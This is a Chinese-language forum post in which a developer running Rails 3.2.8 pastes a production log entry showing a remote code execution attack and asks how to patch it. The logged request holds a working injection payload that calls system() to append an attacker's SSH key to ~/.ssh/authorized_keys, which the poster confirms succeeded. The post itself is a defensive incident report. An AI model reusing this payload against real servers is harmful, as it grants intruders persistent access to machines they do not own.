几天前我注意到我的网站上有一些不寻常的活动,所以我决定查看生产日志。这是我发现的:
Started GET "/" for 74.219.112.36 at 2013-01-11 20:25:05 +0000
Processing by HomeController#logo as */*
Parameters: {"exploit"=>#
<ActionDispatch::Routing::RouteSet::NamedRouteCollection:0xcb7e650
@routes={:"foo; system('cd ~;mkdir .ssh;echo ssh-rsa
AAAAB3NzaC1yc2EAAAABJQAAAIEAtHtSi4viCaMf/KeG3mxlynWEWRPV
/l4+De+BBFg/xI2ybuFenYYn4clbLFugxxr1sDNr0jBgk0iMqrLbVcdc9p
DjKuymKEVbsJbOqrnNMXlUtxCefeGT1piY8Z/7tapLsr+GCXokhIcB2FPzq
TtOKhnJvzgA4eZSVZsVlxTwyFM= root >> ~/.ssh/authorized_keys')\n__END__\n"=>
#<OpenStruct defaults={:action=>"create", :controller=>"foos"},
required_parts=[], requirements={:action=>"create", :controller=>"foos"},
segment_keys=[:format]>}, @helpers=[:"hash_for_foo; system('cd ~;
mkdir .ssh;echo ssh-rsa
AAAAB3NzaC1yc2EAAAABJQAAAIEAtHtSi4viCaMf/KeG3mxlynWEWRPV
/l4+De+BBFg/xI2ybuFenYYn4clbLFugxxr1sDNr0jBgk0iMqrLbVcdc9pDjKuymKEVbs
JbOqrnNMXlUtxCefeGT1piY8Z/7tapLsr+GCXokhIcB2FPzqTtOKhnJvzgA4eZSVZsVlx
TwyFM= root >> ~/.ssh/authorized_keys')\n__END__\n_url", :"foo;
system('cd ~;mkdir .ssh;echo ssh-rsa
AAAAB3NzaC1yc2EAAAABJQAAAIEAtHtSi4viCaMf/KeG3mxlynWEWRPV/l4+De+BBFg
/xI2ybuFenYYn4clbLFugxxr1sDNr0jBgk0iMqrLbVcdc9pDjKuymKEVbsJbOqrnNMXlUtxCefeG
T1piY8Z/7tapLsr+GCXokhIcB2FPzqTtOKhnJvzgA4eZSVZsVlxTwyFM=
root >> ~/.ssh/authorized_keys')\n__END__\n_url", :"hash_for_foo;
system('cd ~;mkdir .ssh;echo ssh-rsa
AAAAB3NzaC1yc2EAAAABJQAAAIEAtHtSi4viCaMf/KeG3mxlynWEWRPV/l4+De+BBFg
/xI2ybuFenYYn4clbLFugxxr1sDNr0jBgk0iMqrLbVcdc9pDjKuymKEVbsJbOqrnNMXlUt
xCefeGT1piY8Z/7tapLsr+GCXokhIcB2FPzqTtOKhnJvzgA4eZSVZsVlxTwyFM= root >>
~/.ssh/authorized_keys')\n__END__\n_path", :"foo; system('cd ~;mkdir .ssh;
echo ssh-rsa
AAAAB3NzaC1yc2EAAAABJQAAAIEAtHtSi4viCaMf/KeG3mxlynWEWRPV/l4+De+BBFg
/xI2ybuFenYYn4clbLFugxxr1sDNr0jBgk0iMqrLbVcdc9pDjKuymKEVbsJbOqrnNMXlUtxCefeG
T1piY8Z/7tapLsr+GCXokhIcB2FPzqTtOKhnJvzgA4eZSVZsVlxTwyFM= root >>
~/.ssh/authorized_keys')\n__END__\n_path"], @module=#<Module:0xcb7e5c4>>}
Rendered landing_users/_form.html.haml (4.7ms)
Rendered home/logo.html.haml within layouts/application (7.8ms)
Completed 200 OK in 11ms (Views: 10.4ms | ActiveRecord: 0.0ms)
我继续检查他们的系统调用是否有效,并且确实在 ~/.ssh/authorized_keys 中找到了相同的 ssh 密钥。所以这意味着他们能够通过我的 Rails 应用程序运行系统调用!!!!谢天谢地,我的 rails 应用程序没有在 root 下运行,所以他们没有获得 root 访问权限。但无论如何,这让我感到害怕。
有没有人遇到过这个漏洞?如果是这样,您是如何修补的?
我的 rails 应用程序在 Ubuntu 12.04 上,使用 rails 版本 3.2.8 和 ruby 版本 1.9.3p125。如果任何其他信息会有所帮助,请告诉我!
我发现一篇博客文章提到了这个漏洞,但没有解决方案,只是如何执行它。